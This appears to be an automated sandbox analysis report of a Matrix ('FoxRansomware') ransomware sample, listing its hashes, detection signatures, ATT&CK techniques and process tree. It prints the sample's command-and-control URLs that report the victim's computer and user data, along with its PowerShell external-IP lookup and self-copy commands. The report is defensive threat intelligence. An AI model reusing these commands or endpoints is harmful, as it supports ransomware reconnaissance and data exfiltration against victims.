matrix | 016061f330faaeffdd84628f613a719a2f617c8145909d047b5721429ee5b451

Analysis

max time kernel
97s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 08:39

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General

Target

FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Size

1.2MB
MD5

1fa1b6d4b3ed867c1d4baffc77417611
SHA1

afb5e385f9cc8910d7a970b6c32b8d79295579da
SHA256

91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53
SHA512

0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

Score

10^/10

matrix ransomware spyware stealer suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Signatures

Matrix Ransomware 3 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

description	flow	ioc
HTTP URL	13	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=F8zo8l0utZos57tp&phase=START
HTTP URL	142	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=F8zo8l0utZos57tp&phase=[ALL]5016E764D37EB81F
HTTP URL	348	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=F8zo8l0utZos57tp&phase=5016E764D37EB81F\|10278\|6GB

suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata

Executes dropped EXE 1 IoCs

Processes:

NWY7Hdlr.exe

pid	Process
3820	NWY7Hdlr.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe

description	ioc	Process
File opened (read-only)	\??\Q:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\O:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\K:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\V:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\T:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\P:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\N:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\Y:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\X:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\S:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\R:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\I:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\J:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\H:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\G:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\Z:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\W:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\U:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\M:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\L:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\F:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
File opened (read-only)	\??\E:	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.execmd.exe

description	pid	Process	procid_target
PID 440 wrote to memory of 2264	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	84
PID 440 wrote to memory of 2264	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	84
PID 440 wrote to memory of 2264	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	84
PID 440 wrote to memory of 3820	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	86
PID 440 wrote to memory of 3820	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	86
PID 440 wrote to memory of 3820	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	86
PID 440 wrote to memory of 1956	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	91
PID 440 wrote to memory of 1956	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	91
PID 440 wrote to memory of 1956	440	91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe	91
PID 1956 wrote to memory of 2180	1956	cmd.exe	93
PID 1956 wrote to memory of 2180	1956	cmd.exe	93
PID 1956 wrote to memory of 2180	1956	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"
1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWY7Hdlr.exe"
  2⤵
  PID:2264
- C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWY7Hdlr.exe
  "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWY7Hdlr.exe" -n
  2⤵
  - Executes dropped EXE
  PID:3820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\GHxDC9Nu.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    PID:2180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWY7Hdlr.exe

MD5
1fa1b6d4b3ed867c1d4baffc77417611

SHA1
afb5e385f9cc8910d7a970b6c32b8d79295579da

SHA256
91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53

SHA512
0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWY7Hdlr.exe

MD5
1fa1b6d4b3ed867c1d4baffc77417611

SHA1
afb5e385f9cc8910d7a970b6c32b8d79295579da

SHA256
91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53

SHA512
0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

Download Submit